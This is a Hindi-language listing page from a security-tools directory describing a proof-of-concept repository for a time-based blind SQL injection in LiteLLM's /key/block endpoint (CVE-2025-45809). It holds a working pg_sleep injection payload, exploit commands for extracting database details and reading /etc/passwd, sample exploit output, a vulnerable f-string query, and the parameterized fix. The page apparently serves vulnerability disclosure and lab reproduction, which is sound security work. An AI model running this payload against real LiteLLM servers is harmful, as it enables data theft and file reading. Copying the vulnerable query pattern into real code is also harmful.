Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-45809-PoC — Code to reproduce the vulnerability individually | Kitploit
उपकरण/GitHubGitHub/learner202649/cve-2025-45809-poc
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingLearning & EducationDatabase Security
GitHublearner202649/cve-2025-45809-poc

CVE-2025-45809-PoC

Code to reproduce the vulnerability individually

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-45809 — LiteLLM SQL Injection via /key/block (Time-Based Blind SQLi)

LiteLLM v1.65.4 (v1.81.0 से पहले के संस्करण) के /key/block और /key/unblock एंडपॉइंट में key पैरामीटर में SQL इंजेक्शन भेद्यता है। हमलावर समय-आधारित ब्लाइंड इंजेक्शन तकनीक का उपयोग करके डेटाबेस सामग्री चुरा सकते हैं और सर्वर फ़ाइलें पढ़ सकते हैं।

फ़ील्डमान
CVECVE-2025-45809
GHSAGHSA-cgmh-xxmq-hp46
CVSS v3.15.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
CWECWE-89 (SQL Injection)
प्रभावितLiteLLM < 1.81.0 (v1.65.4 पर पुष्टि)
ठीक किया गयाv1.81.0+ (पैरामीटराइज़्ड क्वेरी फिक्स)
प्रकाशित2025-07-03
खोजकर्ताshadia0 (via Huntr bounty)
लिंकNVD • Huntr • Snyk

विवरण

LiteLLM के /key/block और /key/unblock एंडपॉइंट API कुंजियों के ब्लॉक/अनब्लॉक प्रबंधन के लिए उपयोग किए जाते हैं। ये दोनों एंडपॉइंट key पैरामीटर को संसाधित करते समय, उपयोगकर्ता इनपुट को सीधे SQL क्वेरी स्ट्रिंग में जोड़ते हैं (f-string फ़ॉर्मेटिंग का उपयोग करके), पैरामीटराइज़्ड क्वेरी का उपयोग नहीं करते, जिससे SQL इंजेक्शन भेद्यता होती है।

भेद्यता एंडपॉइंट

एंडपॉइंटविधिइंजेक्शन पैरामीटर
/key/blockPOSTkey (JSON body)
/key/unblockPOSTkey (JSON body)

आक्रमण वेक्टर

  • समय-आधारित ब्लाइंड इंजेक्शन: PostgreSQL के pg_sleep() फ़ंक्शन का उपयोग करके, प्रतिक्रिया समय अंतर से इंजेक्शन की पुष्टि करें
  • डेटा चोरी: सशर्त समय क्वेरी के माध्यम से वर्ण-दर-वर्ण डेटाबेस सामग्री निकालें
  • फ़ाइल पढ़ना: PostgreSQL के pg_read_file() फ़ंक्शन का उपयोग करके सर्वर फ़ाइलें पढ़ें

प्रूफ ऑफ कॉन्सेप्ट

त्वरित आरंभ (Docker)

root@kitploit:~
# 1. PostgreSQL + कमजोर संस्करण LiteLLM प्रारंभ करें
docker compose up -d

# 2. निर्भरताएं स्थापित करें
pip install -r requirements.txt

# 3. SQL इंजेक्शन की पुष्टि करें (pg_sleep विलंब का पता लगाएं)
python3 exploit/exploit.py --mode check --target http://localhost:4000

नोट: पहली बार exploit चलाने पर, यह स्वचालित रूप से /key/generate को कॉल करके API key बनाएगा, जिससे Prisma Key डेटाबेस तालिका का निर्माण पूरा करेगा। यह /key/block एंडपॉइंट के लिए कमजोर SQL क्वेरी पथ में प्रवेश करने की आवश्यक पूर्व शर्त है। यदि यह चरण छोड़ दिया जाता है, तो /key/block Key तालिका के आरंभीकरण के अभाव में सीधे 401 लौटाएगा, जिससे इंजेक्शन ट्रिगर नहीं होगा।

4. डेटाबेस का वर्तमान उपयोगकर्ता निकालें

python3 exploit/exploit.py --mode extract-user --target http://localhost:4000

5. PostgreSQL संस्करण निकालें

python3 exploit/exploit.py --mode extract-version --target http://localhost:4000

6. /etc/passwd पढ़ने का प्रयास करें

python3 exploit/exploit.py --mode file-read --target http://localhost:4000

7. (वैकल्पिक) फिक्स संस्करण सत्यापित करें

docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed

root@kitploit:~

### अपेक्षित आउटपुट

**इंजेक्शन पुष्टि (--mode check):**

====================================================================== [VULNERABLE] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4000 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)

[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)

[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s

root@kitploit:~

**फिक्स संस्करण इंजेक्शन को अस्वीकार करता है:**

====================================================================== [FIXED] CVE-2025-45809 — SQL Injection Confirmation

Target : http://localhost:4001 Endpoint : /key/block

[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)

[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)

[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)

[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)

[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)

[+] Fixed version: No time delay detected (expected).

root@kitploit:~

---

## तकनीकी विवरण

### भेद्यता कोड

LiteLLM v1.65.4 में, `/key/block` एंडपॉइंट की प्रोसेसिंग लॉजिक लगभग इस प्रकार है (सरलीकृत):

```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
    key = key_data.get("key", "")
    # 直接拼接用户输入到 SQL 查询中!
    query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
    await database.execute(query)
    return {"status": "success"}

इंजेक्शन सिद्धांत

हमलावर key पैरामीटर में PostgreSQL का समय विलंब फ़ंक्शन इंजेक्ट करता है:

root@kitploit:~
' OR (SELECT pg_sleep(5)) IS NULL --

जोड़ने के बाद SQL बन जाता है:

root@kitploit:~
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'

समय अंतर तुलना

परीक्षण परिदृश्यप्रतिक्रिया समयनिष्कर्ष
सामान्य अनुरोध (key=test)~0.01sआधार रेखा
pg_sleep(3)~3.01sइंजेक्शन प्रभावी
pg_sleep(5)~5.01sइंजेक्शन पुष्टि

पूर्व शर्त: डेटाबेस तालिका आरंभीकरण

LiteLLM v1.65.4 डेटाबेस प्रबंधन के लिए Prisma ORM का उपयोग करता है। Key तालिका आलसी निर्माण रणनीति अपनाती है—— पहली बार /key/generate को कॉल करके API key बनाने से पहले, Key तालिका PostgreSQL में मौजूद नहीं होती है। इसके कारण /key/block एंडपॉइंट की key सत्यापन क्वेरी (WHERE key='{input}') इंजेक्शन-युक्त SQL कोड पथ पर पहुंचने से पहले ही तालिका के अस्तित्व में न होने के कारण 401 लौटाती है।

वर्तमान PoC इस समस्या को स्वचालित रूप से संभालता है: एक्सप्लॉइट स्क्रिप्ट इंजेक्शन पेलोड भेजने से पहले, /key/generate को कॉल करके एक API key बनाती है, जिससे डेटाबेस तालिका तैयार हो जाती है।

नोट: कंटेनर को पहली बार शुरू होने में लगभग 30-60 सेकंड लगते हैं (Prisma CLI स्थापना + डेटाबेस आरंभीकरण), लॉग में Uvicorn running on http://0.0.0.0:4000 दिखाई देने के बाद ही एक्सप्लॉइट चलाएं।


वातावरण

root@kitploit:~
CVE-2025-45809/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml          # LiteLLM config with DB connection
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # SQL injection payload builder
├── docs/
│   └── advisory.md
└── screenshots/
    └── README.md

फिक्स

v1.81.0 में ठीक किया गया, f-string जोड़ के बजाय पैरामीटराइज़्ड क्वेरी (Prepared Statements) का उपयोग किया गया:

root@kitploit:~
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key})  # 参数安全绑定

शमन उपाय

  1. LiteLLM को v1.81.0+ में अपग्रेड करें
  2. स्ट्रिंग जोड़ के बजाय पैरामीटराइज़्ड क्वेरी का उपयोग करें
  3. key पैरामीटर पर सख्त इनपुट सत्यापन लागू करें
  4. SQL इंजेक्शन पैटर्न को रोकने के लिए WAF तैनात करें

संदर्भ

  • NVD Detail
  • Huntr Bounty
  • Snyk Advisory
  • GitHub PoC (shadia0/Patienc)

अस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।

टूल डाउनलोड करें